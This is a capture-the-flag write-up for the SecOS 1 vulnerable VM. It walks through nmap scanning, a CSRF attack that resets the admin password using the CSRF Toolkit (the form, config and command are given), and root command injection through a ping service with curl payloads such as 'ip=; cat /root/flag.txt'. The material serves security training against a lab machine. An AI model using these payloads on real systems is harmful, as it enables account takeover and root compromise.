published on in writeup
tags: secos

SecOS 1

SecOS is a series of vulnerable VMs created by PaulSec - launched as part of his talk at BSides London 2014 (which I attended) and focus around CSRF vulnerabilities. Paul is also the author of the CSRF Toolkit, which can be used to attack the SecOS VMs.

Nmap

[email protected]:~# nmap -n -sV -p- -A 192.168.127.133

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     (protocol 2.0)
| ssh-hostkey: 
|   1024 9b:d9:32:f5:1d:19:88:d3:e7:af:f0:4e:21:76:7a:c8 (DSA)
|   2048 90:b0:3d:99:ed:5b:1b:e1:d4:e6:b5:dd:e9:70:89:f5 (RSA)
|_  256 78:2a:d9:e3:63:83:24:dc:2a:d4:f6:4a:ac:2c:70:5a (ECDSA)
8081/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Web App
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port22-TCP:V=6.45%I=7%D=5/25%Time=53824B3F%P=i686-pc-linux-gnu%r(NULL,2
SF:7,"SSH-2\.0-OpenSSH_6\.6p1\x20Ubuntu-2ubuntu1\r\n");
MAC Address: 08:00:27:74:13:C8 (Cadmus Computer Systems)

Secure Web App

This is a custom web app written by Paul for the challenge. I created a new user with username: rasta, password: mouse and then logged in. I was then able to get a list of users on the system.

It seems spiderman was the only admin account, and would probably be a good target to go for (also remembering Paul’s use of a spiderman account during his BSides talk :) ).

Since this is a CSRF type challenge, it was reasonable to assume that there is possibly some weakness in how users/passwords are created or changed. I had a look through the source code of some of the pages and noticed this commented line on the sign up page:

Navigating to this page, and reviewing that source code reveals these comments:

So we can surmise that spiderman is logged into the web app and is set to automatically request a page on localhost. The third hint looks confusing, and took me a while to figure.

The web app allows users to send messages to each other. I used my rasta account to send a message to spiderman, containing a URL which he will visit. I will need to craft a special web request which will be ‘unknowingly’ executed by spiderman - this can be done manually but I chose to use Pauls CSRF toolkit.

CSRFT

The toolkit can be downloaded from GitHub, instructions for installation etc. are included. A number of example exploits and configurations are included, which I used as a template to craft mine (included at the end of this article).

[email protected]:~/CSRFT# node server.js conf/secos1_change_password.json
CSRFT: Toolkit for CSRF vulnerabilities.
Using conf/secos1_change_password.json as configuration file
Listening on port 8080

Send the message…

After a minute or so, I got a connection from the VM IP address and the ‘exploit’ was launched. Going back to the web app, I was now able to log in with username: spiderman, password: spiderman.

SSH

There isn’t anything much to see whilst logged in as spiderman, though on the Messages page I saw that the user called pirate was one-step ahead.

I was able to use this password to SSH as spiderman.

After some enumeration I found that spiderman was not a member of the sudoers group, and the kernel was quite new (therefore unlikely to find a local kernel exploit).

Privilege Escalation

I had a look at processes running as root.

[email protected]:~$ ps aux | grep root
root       941  0.0  0.2   4692  1020 ?        Ss   21:25   0:00 sudo -u root sh -c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js

Reviewing this file reveals that a secondary web app is running, bound to port 9000 to 127.0.0.1. I confirmed this with netstat.

[email protected]:~$ netstat -antp
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -

Reviewing this file further shows that this is an application to simple ping a supplied IP address. However, the application is vulnerable to command injection as user input doesn’t appear to be sanitized.

child = exec('ping ' + ip, function (error, stdout, stderr)

This makes it possible to insert commands to be executed by the exec function, as part of the IP input. I did this directly using cURL (although you could setup a reverse SSH connection, and interact via a web browser).

[email protected]:~$ curl --data "ip=; id" localhost:9000
uid=0(root) gid=0(root) groups=0(root)

[email protected]:~$ curl --data "ip=; ls -l /root" localhost:9000
-rw-r--r-- 1 root root 346 May  5 20:53 flag.txt

[email protected]:~$ curl --data "ip=; cat /root/flag.txt" localhost:9000

Hey,
Congrats, you did it ! 
The flag for this first (VM) is: MickeyMustNotDie.
Keep this flag because it will be needed for the next VM.
If you liked the Web application, the code is available on Github. 
(https://github.com/PaulSec/VNWA)
There should be more VMs to come in the next few weeks/months.
Twitter: @PaulWebSec
GitHub : PaulSec

Notes

exploits/secos1-change-password.html

<form class="form-signin" action="http://127.0.0.1:8081/change-password" method="POST">
        <input type="text" name="username" value="spiderman">
        <input type="password" name="password" value="spiderman">
</form>

conf/secos1_change_password.json

{
        "audit": {
                "name": "SecOS 1 Change Password",
                "scenario": [
                        {
                                "attack": [
                                        {
                                                "method": "POST",
                                                "type_attack": "special_value",
                                                "form": "secos1-change-password.html"
                                        }
                                ]
                        }
                ]
        }
}

Update 26/05/2014

After having a rather informative discussion with Paul regarding this solution, he suggested I also try csrft_utils.py. This is a script designed to automate much of the attack process (i.e. grabbing the form and creating the attack config files on the fly) and is included in the CSRF toolkit.

[email protected]:~/CSRFT/utils# python csrft_utils.py --form=http://192.168.127.133:8081/change-password --param=password password=spiderman --param=username username=spiderman --special_value --cookie="connect.sid=sALvvNoiErYoIP6a8Cc4Ewsxir.pfPhlR8SWKt7RqyK85Yli9EHPq1IC96jpZd1hRv%2FVx0"

Most of this command is self-explanatory, though I shall sum it up.

  • form is the URL to the vulnerable form
  • param is where we define the parameters to inject into the form, in this case I specified the username and desired password for spiderman.
  • special_value defines the method of attack
  • cookie is a valid cookie of a logged in user. In my case I used the cookie assigned to my rasta account whilst I was logged in.

Executing this command will drop the form and conf files into /tmp/csrft/. They look very much like to my manual examples above.

Due to the nature of how the admin access is simulated in this challange, you have to edit /tmp/csrft/form.html, so that the form action points to 127.0.0.1 rather than the actual IP assigned to the VM (as per the advice given on the /hint page).

As previously, the admin user will access port 8080 on our machine and submit the bogus form.